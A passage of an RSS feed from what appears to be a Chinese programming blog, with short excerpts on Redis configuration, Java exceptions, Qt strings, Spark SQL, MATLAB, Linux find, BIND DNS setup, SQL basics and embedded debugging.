      <pubDate>Fri, 09 Dec 2022 15:32:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c862dfef9da1509c24e5a6176e7e9bba/</guid>
      <description>Warning: no config file specified, using the default config. In order to specify a config file use /redis-6.2/redis-server /path/to/redis.conf&#xA;点击这个报错&#xA;表示没有指定配置文件，使用默认配置。要指定配置文件，请使用redis-server /path/to/redis.conf&#xA;1、在cmd中redis-server.exe redis.windows.conf 启动成功&#xA;2、创建一个bat的后缀文件 （如果你怕麻烦就使用批处理）&#xA;redis-server.exe redis.windows.conf&#xA;直接点击start.bat就可以直接运行配置文件&#xA;就可以解决本文的问题</description>
    </item>
    <item>
      <title>Java异常(比较全)</title>
      <link>https://bchobby.github.io/posts/7d6ef0461655ac536a467676f3fef6fb/</link>
      <pubDate>Fri, 09 Dec 2022 13:26:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7d6ef0461655ac536a467676f3fef6fb/</guid>
      <description>前言：想要学好异常，需要了解JVM虚拟机知识，这里涉及面试常问的内存溢出错误解决办法&#xA;一、异常是什么？ 定义 程序 编译时/运行过程中，由于某些原因导致程序出错，从而结束程序运行，这就称为异常&#xA;java异常的结构图（超类、子类关系等结构，此结构不是太全，可看下面“七、常见错误异常附录”）&#xA;Java 中所有的错误和异常最终都继承自 java.lang.Throwable 这个类。&#xA;（当然，Object类是Java中所有类的父类，也是Throwable的父类。不过这儿讨论的是异常，所以我们常说，异常的超类是Throwable 类。）&#xA;Java标准库内建了一些通用的异常，这些类以Throwable为顶层父类。&#xA;Throwable下面一层只派生出2个子类：Error类 和 Exception类。&#xA;2.1 错误：Error类以及它的子类的实例，代表了JVM本身的错误。&#xA;错误不能被程序员通过代码处理，Error很少出现。&#xA;因此，程序员应该关注Exception为父类的分支下的各种子异常类。&#xA;2.2 异常： Exception以及他的子类，代表程序运行时发送的各种不期望发生的事件。&#xA;可以被Java异常处理机制使用，是异常处理的核心。（Exception分为：RuntimeException和非RuntimeException ）&#xA;二、error 和 exception区别 ？ 相同点：&#xA;一、都继承自Throwable类&#xA;二、都没有自己实现的方法，都是继承Throwable和Object的&#xA;三、都有四个构造方法，参数及实现的功能一样&#xA;不同点：&#xA;一、Error属于系统级错误称之为“错误”，不可被捕获，也就是无法用try catch/throw机制；&#xA;Exception属于应用程序级错误称之为“异常”，可以通过捕获避免，也就是可以用try catch/throw机制；&#xA;二、Error无需在程序中以throw子句中抛出； 而Exception需要抛出&#xA;三、存在Error错误程序不能运行或是运行中断； 存在Exception错误程序可运行并抛出&#xA;三、unchecked异常和checked异常的区别 Java 定义了两种异常( C# 只有unchecked异常 )：&#xA;非受查异常 (Unchecked exception) / 运行时异常：&#xA;Error和子类、 继承自 Exception 的 RuntimeException和子类都称为非受查异常/运行时异常，&#xA;就是代码不需要强制处理它们的异常也能通过编译，所以它们称作 unchecked exception。RuntimeException（运行时异常）不需要try…catch…捕获机制或throw抛出机制去强制处理。&#xA;编译器不强制记录异常，但是！我们一般都建议手动捕获异常，做自己的逻辑处理。&#xA;生产中，非受查异常中的RuntimeException异常最常见~&#xA;受查异常 (checked exception) / 编译时异常:&#xA;继承自 Exception 的 非RuntimeException：IOException及子类、ReflectiveOperationException及子类、SQLException、InterruptedException等等，都是受查异常/编译时异常。代码需要强制处理抛出的异常，要么用 try catch 语句，要么直接用 throws 语句声明，否则编译不通过！！！</description>
    </item>
    <item>
      <title>Qt扫盲-QString使用总结</title>
      <link>https://bchobby.github.io/posts/1fdc4596da983bbca876250eca297f72/</link>
      <pubDate>Fri, 09 Dec 2022 13:17:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1fdc4596da983bbca876250eca297f72/</guid>
      <description>QString使用总结 一、概述二、初始化字符串1、极速版2、原理版 三、操作字符串1、极速版1. 增加2. 删除3. 修改4. 插入5. 转换 2、原理版 四、查询字符串五、字符串格式转换六、Null 字符串和 Empty 字符串的区别七、字符串参数格式化八、更高效的字符串构造九、最大大小和出现内存不足的情况 这里是我对帮助文档的一些理解，再复习复习一下之前的知识点。 我把文字分成了两部分，一半是给喜欢了解一下原理的，一部分是直接上手就行的。 一、概述 QString 是Qt 的一种基础数据类型，也是对字符串的一个封装。其实他的操作和标准库的std::string字符串的基本是一致的。但是还是有些区别。&#xA;QString 存储以数据长度为16位2字节 QChar类型的字符串，也是说每个字符类型是 QChar ，其中每个 QChar 对应于一个UTF-16 代码。(如果代码值高于 65535 的 Unicode 字符使用两个连续的 QChar来存储)这其实和 c++标准库的std::string使用一致，但是std::string的字符是char类型，8位一字节长度(用的Utf-8)。这里我们知道QString 和 std::string编码格式不一样，不能直接相互操作，得转码后才能用哦&#xA;Unicode 是一种国际标准，支持当今使用的大多数书写系统。是一种可变长度字符编码。它可以用来表示Unicode标准中的任何字符。会将一个码位编码为 1 到 4 个字节。它是 US-ASCII (ANSI X3.4-1986) 和 Latin-1 (ISO 8859-1) 的超集，所有 US-ASCII/Latin-1 字符都位于相同的代码位置。也就是说Unicode包括了 上述位置的编码&#xA;QString在内部实现的时候 使用隐式共享(写入时复制)来减少内存使用并避免不必要的数据复制。这也有助于减少存储 16 位字符而不是 8 位字符的固有开销(QChar 比 char 空间大)。&#xA;隐式共享可以参考我之前的博文: Qt扫盲–隐式共享基本原理&#xA;除了QString，Qt还提供了QByteArray类来存储原始字节和传统的8位“0”终止字符串(也即是char类型字符串)。在大多数情况下，QString 是您想要使用的类。它在整个Qt API中使用，Unicode支持确保您的应用程序易于翻译，如果您想在某个时候扩展应用程序市场。QByteArray 适合的两种主要情况是需要存储原始二进制数据时，以及内存保护至关重要时(在嵌入式系统中)。&#xA;二、初始化字符串 1、极速版 //不带参构造 QString str; //从const char * 字面量字符串构造 QString str_1 = &#34;</description>
    </item>
    <item>
      <title>Spark-SQL连接Hive 的五种方法</title>
      <link>https://bchobby.github.io/posts/f2ac2172b788f34362121706288bbed7/</link>
      <pubDate>Fri, 09 Dec 2022 11:03:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2ac2172b788f34362121706288bbed7/</guid>
      <description>提示：文章内容仅供参考！&#xA;目录&#xA;一、 Spark-SQL是什么&#xA;二、 Hive and SparkSQL&#xA;三、Spark-SQL 特点&#xA;四、Spark-SQL连接Hive&#xA;1）内嵌的 HIVE&#xA;2）外部的 HIVE&#xA;3）运行 Spark beeline&#xA;4）运行Spark-SQL CLI&#xA;5）代码操作Hive&#xA;一、 Spark-SQL是什么 Spark SQL 是 Spark 用于结构化数据(structured data)处理的 Spark 模块。&#xA;二、 Hive and SparkSQL SparkSQL 的前身是 Shark，Shark是给熟悉 RDBMS 但又不理解 MapReduce 的技术人员提供的快速上手的工具。 Hive 是早期唯一运行在 Hadoop 上的 SQL-on-Hadoop 工具。但是 MapReduce 计算过程中大量的中间磁盘落地过程消耗了大量的 I/O，降低的运行效率，为了提高 SQL-on-Hadoop 的效率，大量的 SQL-on-Hadoop 工具开始产生，其中表现较为突出的是：&#xA;⚫ Drill&#xA;⚫ Impala&#xA;⚫ Shark&#xA;其中 Shark 是伯克利实验室 Spark 生态环境的组件之一，是基于 Hive 所开发的工具，它修改了内存管理、物理计划、执行三个模块，并使之能运行在 Spark 引擎上。</description>
    </item>
    <item>
      <title>按比例随机分配训练集和测试集和数组间隔取值</title>
      <link>https://bchobby.github.io/posts/6d053fb18a0709b646876014253ce858/</link>
      <pubDate>Fri, 09 Dec 2022 10:47:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d053fb18a0709b646876014253ce858/</guid>
      <description> 按比例随机分配训练集和测试集 dividerand 参考：使用随机索引将目标分为三组 - MATLAB dividerand- MathWorks 中国&#xA;语法 [trainInd,valInd,testInd] = dividerand(Q,trainRatio,valRatio,testRatio) 采用要划分的目标数、用于训练的向量比率、用于验证的向量比率和用于测试的向量比率，并返回训练索引、验证索引和测试索引。 输入： Q — 目标数量,要划分的目标数量，指定为标量。&#xA;trainRatio — 训练比率, 即训练集占比（默认0.7 ）&#xA;valRatio — 验证比率（默认0.15） testRatio — 测试比率（默认0.15） 输出： trainInd — 训练索引，以行向量形式返回。&#xA;valInd — 验证索引&#xA;testInd — 测试索引&#xA;举例：&#xA;[trainInd,~,testInd] = dividerand(P,0.7,0,0.3) % 此时行为特征数，列为样本数 train=trainInd ; test=testInd; [trainInd,~,testInd] = dividerand(size(P,1),0.7,0,0.3) % 此时行为特征数，列为样本数 train=P(trainInd,;) test=P(testInd,:) trainLable=label(trainInd,;); testLable=label(testInd,;); randperm 也可以用randperm函数来随机排列所有的数据&#xA;[M,~]=size(feactotal); p = randperm(M); % 随机排列所有的数据获得索引 train=feactotal(p(1:M*0.7),:); % 按照7：3划分训练和测试集 test=feactotal(p(M*0.7+1:end),:); 数组间隔取值 A(a0:num_d:a1，:) % 间隔提取矩阵A的数据，起始行为a0,间隔行数为num_d，终止行为a1 %% 举例 &amp;gt;&amp;gt; A=[1 2 3;4 5 6; 7 8 9]; &amp;gt;&amp;gt; A(1:2:end,:) % 提取矩阵A的奇数行数据 ans = 1 2 3 7 8 9 A(end:-1:1，:) A(:，end:-1:1) % 分别返回A矩阵行倒序和列倒序的矩阵。 </description>
    </item>
    <item>
      <title>Spark-SQL连接JDBC的方式及代码写法</title>
      <link>https://bchobby.github.io/posts/6f7833f81ccf23031bbe6399e3fad7bc/</link>
      <pubDate>Fri, 09 Dec 2022 10:41:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6f7833f81ccf23031bbe6399e3fad7bc/</guid>
      <description>提示：文章内容仅供参考！&#xA;目录&#xA;一、数据加载与保存&#xA;通用方式：&#xA;加载数据：&#xA;保存数据：&#xA;二、Parquet&#xA;加载数据：&#xA;保存数据：&#xA;三、JSON&#xA;四、CSV&#xA;五、MySQL&#xA;一、数据加载与保存 通用方式： SparkSQL 提供了通用的保存数据和数据加载的方式。这里的通用指的是使用相同的API，根据不同的参数读取和保存不同格式的数据，SparkSQL 默认读取和保存的文件格式为parquet&#xA;加载数据： spark.read.load 是加载数据的通用方法。如果读取不同格式的数据，可以对不同的数据格式进行设定。&#xA;spark.read.format(&#34;…&#34;)[.option(&#34;…&#34;)].load(&#34;…&#34;)&#xA;➢ format(&#34;…&#34;)：指定加载的数据类型，包括&#34;csv&#34;、&#34;jdbc&#34;、&#34;json&#34;、&#34;orc&#34;、&#34;parquet&#34;和&#xA;&#34;textFile&#34;。&#xA;➢ load(&#34;…&#34;)：在&#34;csv&#34;、&#34;jdbc&#34;、&#34;json&#34;、&#34;orc&#34;、&#34;parquet&#34;和&#34;textFile&#34;格式下需要传入加载&#xA;数据的路径。&#xA;➢ option(&#34;…&#34;)：在&#34;jdbc&#34;格式下需要传入 JDBC 相应参数，url、user、password 和 dbtable&#xA;我们前面都是使用 read API 先把文件加载到 DataFrame 然后再查询，其实，我们也可以直接在文件上进行查询: 文件格式.`文件路径`&#xA;spark.sql(&#34;select * from json.’/opt/module/data/user.json’&#34;).show&#xA;保存数据： df.write.save 是保存数据的通用方法。如果保存不同格式的数据，可以对不同的数据格式进行设定。&#xA;df.write.format(&#34;…&#34;)[.option(&#34;…&#34;)].save(&#34;…&#34;)&#xA;➢ format(&#34;…&#34;)：指定保存的数据类型，包括&#34;csv&#34;、&#34;jdbc&#34;、&#34;json&#34;、&#34;orc&#34;、&#34;parquet&#34;和&#xA;&#34;textFile&#34;。&#xA;➢ save (&#34;…&#34;)：在&#34;csv&#34;、&#34;orc&#34;、&#34;parquet&#34;和&#34;textFile&#34;格式下需要传入保存数据的路径。&#xA;➢ option(&#34;…&#34;)：在&#34;jdbc&#34;格式下需要传入 JDBC 相应参数，url、user、password 和 dbtable&#xA;保存操作可以使用 SaveMode, 用来指明如何处理数据，使用 mode()方法来设置。&#xA;例如：df.write.mode(&#34;append&#34;).json(&#34;/opt/module/data/output&#34;)&#xA;二、Parquet Spark SQL 的默认数据源为 Parquet 格式。Parquet 是一种能够有效存储嵌套数据的列式</description>
    </item>
    <item>
      <title>【已解决】redis启动错误： Warning: no config file specified, using the default config. In order to specify a</title>
      <link>https://bchobby.github.io/posts/1a4b3e62a228b3bd271380a723fbb6af/</link>
      <pubDate>Fri, 09 Dec 2022 10:27:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a4b3e62a228b3bd271380a723fbb6af/</guid>
      <description>Warning: no config file specified, using the default config. In order to specify a config&#xA;redis启动报如下错误：&#xA;意思是：启动时无法找到配置文件，远程无法连接&#xA;解决方法： 第一种：在cmd命令行中执行redis-server.exe redis.windows.conf&#xA;第二种：在redis的根目录下新建一个start.bat文件,将redis-server.exe redis.windows.conf放在文件里，双击start.bat即可启动。&#xA;也可以解决上述问题&#xA;下面说说一个小问题：&#xA;如何更改密码？ 首先如果是想一劳永逸，那么在redis.windows-service.conf文件中找到&#xA;requirepass foobared这一行（我是用EditPlus工具打开的，可以使用笔记本打开）&#xA;在下面加一行 requirepass 123456&#xA;保存之后就可以了&#xA;注意：可能需要在redis.windows.conf中与上文配置一样的，也找到&#xA;requirepass foobared这一行（我是用EditPlus工具打开的，可以使用笔记本打开）&#xA;在下面加一行 requirepass 123456&#xA;（这两个文件中都配置一下密码）&#xA;然后运行客户端，使用auth验证一下密码 ok 即为成功&#xA;如果出现&#xA;表示你的密码没有设置好，或者是忘记保存，也可能是出现以下问题，这是redis启动错误，按照上文就可以解决了。&#xA;还有一个设置短期密码的，只有在redis运行的时候有效，当重新启动就不会有效，又变为初识的密码，比如我的密码是 123456&#xA;但是当你重新启动redis，再校验&#xA;希望大家多多指教</description>
    </item>
    <item>
      <title>“RDD、DataFrame、DataSet的概念、区别联系、相互转换操作”</title>
      <link>https://bchobby.github.io/posts/a3ab30aa1a5625766938b70c09a04dc1/</link>
      <pubDate>Fri, 09 Dec 2022 10:24:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3ab30aa1a5625766938b70c09a04dc1/</guid>
      <description>提示：文章内容只供参考！&#xA;目录&#xA;一、RDD的概念&#xA;二、DataFrame 是什么&#xA;三、DataSet 是什么&#xA;四、创建 DataFrame&#xA;五、RDD 转换为 DataFrame&#xA;六、DataFrame 转换为 RDD&#xA;七、创建 DataSet&#xA;八、RDD 转换为 DataSet&#xA;九、DataSet 转换为 RDD&#xA;十、DataFrame 转换为 DataSet&#xA;十一、DataSet 转换为 DataFrame&#xA;十二、RDD、DataFrame、DataSet 三者的关系&#xA;三者的共性&#xA;三者的区别&#xA;一、RDD的概念 RDD 是Spark的核心抽象，即 弹性分布式数据集（residenta distributed dataset）。代表一个不可变，可分区，里面元素可并行计算的集合。其具有数据流模型的特点：自动容错，位置感知性调度和可伸缩性。&#xA;在Spark中，对数据的所有操作不外乎创建RDD、转化已有RDD以及调用 RDD操作进行求值。&#xA;二、DataFrame 是什么 在 Spark 中，DataFrame 是一种以 RDD 为基础的分布式数据集，类似于传统数据库中 的二维表格。DataFrame 与 RDD 的主要区别在于，前者带有 schema 元信息，即 DataFrame 所表示的二维表数据集的每一列都带有名称和类型。这使得 Spark SQL 得以洞察更多的结构信息，从而对藏于 DataFrame 背后的数据源以及作用于 DataFrame 之上的变换进行了针对性的优化，最终达到大幅提升运行时效率的目标。反观 RDD，由于无从得知所存数据元素的具体内部结构，Spark Core 只能在 stage 层面进行简单、通用的流水线优化。</description>
    </item>
    <item>
      <title>Python 中__new__详解及使用介绍</title>
      <link>https://bchobby.github.io/posts/1a036289bc825b621dbf191887b15ce8/</link>
      <pubDate>Fri, 09 Dec 2022 10:13:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a036289bc825b621dbf191887b15ce8/</guid>
      <description>Python new 的作用&#xA;在Python中__new__方法与__init__方法类似，但是如果两个都存在那么__new__闲执行。&#xA;在基础类object中，__new__被定义成了一个静态方法，并且需要传递一个参数cls。Cls表示需要实例化的类，此参数在实例化时由Python解析器自动提供。&#xA;new()是在新式类中新出现的方法，它作用在构造方法init()建造实例之前，可以这么理解，在Python 中存在于类里面的构造方法init()负责将类的实例化，而在init()调用之前，new()决定是否要使用该init()方法，因为new()可以调用其他类的构造方法或者直接返回别的对象来作为本类 的实例。&#xA;new()方法的特性：&#xA;new()方法是在类准备将自身实例化时调用。&#xA;new()方法始终都是类的静态方法，即使没有被加上静态方法装饰器。&#xA;实例&#xA;class Person(object):&#xA;def __init__(self, name, age): self.name = name self.age = age def __new__(cls, name, age): if 0 &amp;lt; age &amp;lt; 150: return object.__new__(cls) # return super(Person, cls).__new__(cls) else: return None def __str__(self): return &#39;{0}({1})&#39;.format(self.__class__.__name__, self.__dict__) 12345678910111213 print(Person(‘Tom’, 10))&#xA;print(Person(‘Mike’, 200))&#xA;结果：&#xA;Person({‘age’: 10, ‘name’: ‘Tom’})&#xA;None&#xA;Python3和 Python2中__new__使用不同&#xA;Python2的写法&#xA;注意 Python 版本大于等于2.7才支持&#xA;class Singleton(object):&#xA;def new(cls,*args, **kwargs):</description>
    </item>
    <item>
      <title>以Web of Science 为例，使用Citespace进行文献计量分析的一般步骤</title>
      <link>https://bchobby.github.io/posts/855bf674a3a0b56b8b67329d76f95d09/</link>
      <pubDate>Fri, 09 Dec 2022 09:54:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/855bf674a3a0b56b8b67329d76f95d09/</guid>
      <description>0. 背景 最近需要用到Cite Space对Web of Science (WoS) 的一些文献数据进行分析。虽然以前学过一些，但是都忘得差不多了，故翻出以前学习的资料，整理在此，常用常新，也方便自己以后复习。&#xA;1. 本地新建文件夹 桌面或其他路径新建一个文件夹，命名随意。此处为方便区分，用“WoS”命名。&#xA;在WoS文件夹内新建四个文件夹，命名必须如下！不可随意命名！！&#xA;2. 通过Web of Science 检索所需数据 得到搜索结果后，点击“导出”，选择“纯文本文件”。如下图所示。&#xA;因为每次最多只能导出500条，所以先导出1-500。如下图所示。&#xA;命名格式一定要用”download_“开头。如下图所示。&#xA;重复下载行为，下一次导出501-1000，重复直到全部导出为止，此处因为做演示，所以只导出1000条。如下图所示&#xA;3. 通过Cite Space清洗（预处理）从Web of Science 下载的数据 打开Cite Space,点击”Data——Import/Export“。如下图所示。&#xA;有的可能会跳出这个，不用管它，点击”Skip MySQL for now”跳过。如下图所示&#xA;点击&#34;WoS&#34;，按下图分别设置好一开始新建的&#34;input&#34;和“output”文件夹。如下图所示。&#xA;点击选择“Artcle”和“Review”，然后点击“Start”。如下图所示。&#xA;过了几秒之后，它会输出一些信息，然后好了，关掉。&#xA;之后就去一开始新建的“output”文件夹，发现已经出现了预处理后的文件。如下图所示。&#xA;将其复制粘贴到“data”中去。如下图所示。&#xA;4. 通过Cite Space对文献数据作关键词（Keyword）分析 点击“New”。如下图所示。&#xA;随意设置一个&#34;Title&#34;，再分别设置一开始新建的“project”和“data”文件夹。然后选择“WoS”，最后&#34;Save&#34;。如下图所示。&#xA;然后设置想要分析的时间范围及切片长度、选择“关键词分析”、选择“Pruning（剪枝）”方式，最后点击”GO！“。如下图所示。&#xA;会出现这个弹窗，点击”Visualize“即可出现可视化视图。如下图所示。&#xA;一开始图片背景是黑色的，表示正在运行处理数据，等你觉得运行的差不多了（图片舒展程度够了）就可以手动左上角点击暂停。如下图所示。&#xA;或者一直等下去它也是会自动停止的，只是时间较长，而且没必要。&#xA;通过”Control Panel（控制面板）”可以进行一些操作。如下图所示。&#xA;“Threshold”可以调整图像上节点是否显示字体，当其值为0的时候，每个节点都会显示自身的关键词。&#xA;“Font Size”字面意思，就是调整显示的字体大小。&#xA;“Node Size”可以调整节点的大小，每个节点的大小不同，节点关键词出现的频率越高，则该节点就越大。&#xA;目前节点的图形形状还比较奇怪，可通过“Nodes——Node Shape (Keywords, Terms)——Circle”可以将节点显示的图形设置为圆形。如下图所示。&#xA;点击“Lables——Lable Background Color——Article Lables”，如下图所示。&#xA;在弹出的面板中，点击“HSV(H)”，将“透明度”拉到最大，点击右上角“x”关闭。如下图所示。&#xA;4. 1 合并节点（将后一个节点合并到前一个节点） 若两个节点内容很相似，如下图的“Validity”和“Validation”,可将其合并为同一个节点。如下图所示。&#xA;首先，通过“Threshold”和“Font Size”等，找到第一个节点“validity”，点中它。如下图所示。</description>
    </item>
    <item>
      <title>Sql Server 2008 配置管理器无法连接</title>
      <link>https://bchobby.github.io/posts/ecc78b552d6a959a6162060f4557879a/</link>
      <pubDate>Thu, 08 Dec 2022 22:25:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecc78b552d6a959a6162060f4557879a/</guid>
      <description>SQL Server配置管理WMI问题_HYunEr的博客-CSDN博客&#xA;👆提供了几种具体的解决方案&#xA;其中最后一种起了效果&#xA;但我在尝试最后一种方法时遇到了一个问题：被拒绝访问了&#xA;解决方案在下面的链接👇</description>
    </item>
    <item>
      <title>Python常用英语词汇(第二部分)</title>
      <link>https://bchobby.github.io/posts/88cccffd9e84abbfca26f0eecb684e51/</link>
      <pubDate>Thu, 08 Dec 2022 21:34:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/88cccffd9e84abbfca26f0eecb684e51/</guid>
      <description>没有人天生就会英语，不学不练，永远不会，&#xA;百看不如一练!&#xA;十三:定义函数与设定参数&#xA;1.birthday : 出生日期&#xA;2.year : 年份&#xA;3.month : 月份&#xA;4.day : 日期&#xA;5.type : 类型&#xA;6.error : 错误&#xA;7.missing : 丢失&#xA;8.required : 必须&#xA;9.positional : 位置&#xA;10.ansupported : 不支持&#xA;十四:设定收集参数&#xA;1.create : 创建&#xA;2.info : 信息&#xA;3.age : 年龄&#xA;4.height : 高度&#xA;5.width : 宽度&#xA;6.weight : 重量&#xA;7.splicing : 拼接&#xA;8.params : 参数&#xA;9.volume : 体积&#xA;10.operand : 操作数&#xA;十五:嵌套函数/作用域/闭包&#xA;1.inside : 内部&#xA;2.oatside : 外部</description>
    </item>
    <item>
      <title>文件查找find命令</title>
      <link>https://bchobby.github.io/posts/42dac00e7adcad1d5c9b3ed640c7cf0d/</link>
      <pubDate>Thu, 08 Dec 2022 21:05:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42dac00e7adcad1d5c9b3ed640c7cf0d/</guid>
      <description>#!/bin/bash&#xA;find /etc -name &#39;*.conf&#39;&#xA;find /etc -iname &#34;aa&#34; #不区分大小写&#xA;find . -user hdfs&#xA;find . -group yarn&#xA;find /etc -type f #文件&#xA;find /etc -type d #路径&#xA;find /etc -size +1M #文件大小大于1M&#xA;find /etc -size -100k #文件大小小于100k&#xA;find /etc -mtime -5 -name &#39;*.conf&#39; #5天内修改的文件&#xA;find /etc -mtime +10 -user root #10天前属主用户是root修改的文件&#xA;find /etc -mmin -10 #10min内修改的文件&#xA;find /etc -mmin -10 -type d #10min前修改过的路径&#xA;find /etc -mindepth 3 #/etc的三级子目录开始搜索</description>
    </item>
    <item>
      <title>【STM32】常见问题解决——头文件找不到</title>
      <link>https://bchobby.github.io/posts/4312dcc1188373b55206181b5f43f193/</link>
      <pubDate>Thu, 08 Dec 2022 20:10:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4312dcc1188373b55206181b5f43f193/</guid>
      <description>一. 问题描述 …\HARDWARE\UART\usart2.c(13): error: #5: cannot open source input file “timer.h”: No such file or directory&#xA;当头文件中找不到指定文件时&#xA;二.解决方法 1.工程文件目录下&#xA;新建HARDWARE-&amp;gt;TIMER放入文件&#xA;2.右键后打开manage Project items…&#xA;3.添加指定源文件&#xA;4.包含头文件的路径&#xA;重新编译，即可解决问题</description>
    </item>
    <item>
      <title>CentOS部署主从DNS服务器</title>
      <link>https://bchobby.github.io/posts/61deaa1eaccf7bf77685b938e7292222/</link>
      <pubDate>Thu, 08 Dec 2022 18:29:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/61deaa1eaccf7bf77685b938e7292222/</guid>
      <description>几个概念：&#xA;域名解析为IP地址：正向解析&#xA;IP地址解析为域名：反向解析&#xA;主DNS服务器：在特定区域内具有唯一性，负责维护该区域内的域名和IP地址之间的对应关系。&#xA;从DNS服务器：从服务器中获得域名和IP地址对应关系并进行维护，以防主服务器宕机的情况。&#xA;BIND（Berkeley Internet Name Domain，伯克利因特网名称域）服务是全球范围内使用最广泛、最安全可靠且高效的域名解析服务程序。&#xA;主机名称主机IP地址备注bind1192.168.17.117DNS主服务器bind2192.168.17.118DNS从服务器 主DNS服务器的配置：&#xA;1、安装bind服务程序：&#xA;yum install -y bind bind-utils 2、修改主配置文件/etc/named.conf：&#xA;[root@bind1 named]# cat /etc/named.conf // // named.conf // // Provided by Red Hat bind package to configure the ISC BIND named(8) DNS // server as a caching only nameserver (as a localhost DNS resolver only). // // See /usr/share/doc/bind*/sample/ for example named configuration files. // // See the BIND Administrator&#39;s Reference Manual (ARM) for details about the // configuration located in /usr/share/doc/bind-{version}/Bv9ARM.</description>
    </item>
    <item>
      <title>DML &amp; DQL &amp; DCL</title>
      <link>https://bchobby.github.io/posts/b7d05549dd9ea9dbc2276898c7fb3e37/</link>
      <pubDate>Thu, 08 Dec 2022 15:01:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7d05549dd9ea9dbc2276898c7fb3e37/</guid>
      <description>目录&#xA;DML—数据库操作语言&#xA;添加数据&#xA;给指定的字段添加数据&#xA;给全部字段添加数据 批量添加数据&#xA;注意 修改数据&#xA;删除数据&#xA;DQL数据查询语言&#xA;基础查询&#xA;查询多个字段&#xA;查询所有字段&#xA;设置别名&#xA;去除重复记录&#xA;条件查询 (WHERE)&#xA;聚合函数&#xA;分组查询 (GROUP BY )&#xA;WHERE 与HAVING区别&#xA;注意&#xA;排序查询(ORDER BY)&#xA;分页查询(LIMIT)&#xA;DCL—数据控制语言&#xA;用户管理&#xA;查询用户&#xA;创建用户&#xA;修改用户密码&#xA;删除用户&#xA;权限控制&#xA;常见权限&#xA;查询权限&#xA;授予权限&#xA;撤销权限&#xA;DML—数据库操作语言 用来对数据库中表的数据记录进行增删改操作&#xA;添加数据（INSERT）&#xA;修改数据 (UPDATE)&#xA;删除数据 (DELETE) 添加数据 给指定的字段添加数据 INSERT INTO 表名（字段1，字段2，……）VALUES （值1，值2，……）;&#xA;给全部字段添加数据 INSERT INTO 表名 VALUES （值1，值2，……）;&#xA;批量添加数据 INSERT INTO 表名（字段1，字段2，……）VALUES （值1，值2，……），（值1，值2，……），（值1，值2，……）;&#xA;INSERT INTO 表名 VALUES （值1，值2，……），（值1，值2，……），（值1，值2，……）;&#xA;注意 插入数据时，指定的字段顺序要与值得顺序时一一对应的。字符串和日期型数据应该包含在引号中插入的数据大小，应该在字段的规定范围内 修改数据 UPDATE 表名 SET 字段1=值，字段2=值2，……WHERE 条件;</description>
    </item>
    <item>
      <title>java 获取上周开始时间和结束时间，上上周开始和上上周结束时间</title>
      <link>https://bchobby.github.io/posts/2c15b95025c63af601d820cfce0f1a29/</link>
      <pubDate>Thu, 08 Dec 2022 14:14:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c15b95025c63af601d820cfce0f1a29/</guid>
      <description>以周一为开始，周日结束为例：&#xA;public static void main(String[] args) { // 上一周 LocalDate d1 = LocalDate.now().minusWeeks(1).with(TemporalAdjusters.previous(DayOfWeek.SUNDAY)).plusDays(1L); LocalDate d2 = LocalDate.now().minusWeeks(1).with(TemporalAdjusters.next(DayOfWeek.MONDAY)).minusDays(1L); System.out.println(&#34;上一周开始日期: &#34; + d1); System.out.println(&#34;上一周结束日期: &#34; + d2); LocalDate d3 = LocalDate.now().minusWeeks(2).with(TemporalAdjusters.previous(DayOfWeek.SUNDAY)).plusDays(1L); LocalDate d4 = LocalDate.now().minusWeeks(2).with(TemporalAdjusters.next(DayOfWeek.MONDAY)).minusDays(1L); System.out.println(&#34;上上一周开始日期: &#34; + d3); System.out.println(&#34;上上一周结束日期: &#34; + d4); } 网上代码太糟糕了，基本没有正确的。&#xA;只能自己写了</description>
    </item>
    <item>
      <title>Matlab 中imread读取图片后，使用imshow无反应的问题</title>
      <link>https://bchobby.github.io/posts/6637b54a72f37e45d100664f3fd250f6/</link>
      <pubDate>Thu, 08 Dec 2022 12:08:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6637b54a72f37e45d100664f3fd250f6/</guid>
      <description>笔者在进行app设计时，发现imread读完的图片，使用imshow命令后，无弹窗也无反应。从网上翻阅后发现大多是自己的代码与imshow命令中某些代码发生了冲突，但是每个人遇到的情况不一样，很多时候我们无法找到具体哪段代码出了问题。&#xA;本人遇到的问题是：&#xA;set(figure,&#39;visible&#39;,&#39;off&#39;);&#xA;在设计app界面时，为了防止其他窗口的弹出，特意写了这一段，结果发现因为这行代码导致imshow失效。&#xA;当然咯大家也可以通过下面的代码将图片重新输出&#xA;image = imread(&#34;1.jpg&#34;);&#xA;imshow(image)&#xA;figure(1)</description>
    </item>
    <item>
      <title>CAN调试只能收无法发解决记录</title>
      <link>https://bchobby.github.io/posts/a7e49462a258ee3583e396ddea414469/</link>
      <pubDate>Thu, 08 Dec 2022 11:46:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a7e49462a258ee3583e396ddea414469/</guid>
      <description>问题现象 mcu是杰发科的车规级AC7811，用的官方sdk例程，用can盒接上can口调试最初没有反应，用两个can结点组成一个回路再把此结点也接上，此时只能收到can盒的消息但不能发。&#xA;调试过程 手上没有示波器，于是用万用表量总线通信时的电压，发现两个can盒之间通信电压大概在0.36v，而等到用单片机发送时却没有电压。于是开始怀疑can收发器，往硬件方向排查&#xA;查看原理图如下&#xA;找到tja1042的数据手册，一开始怀疑是STB引脚配置不正确，测试之后发现无用&#xA;继续翻手册找到这个地方&#xA;里面说到vcc的最低电压为4.5v我拿万用表一量发现只有3.2v，然后此处接高拉到5v后问题解决，一切正常。&#xA;解决方法 解决方法就是供电给到5v就ok</description>
    </item>
    <item>
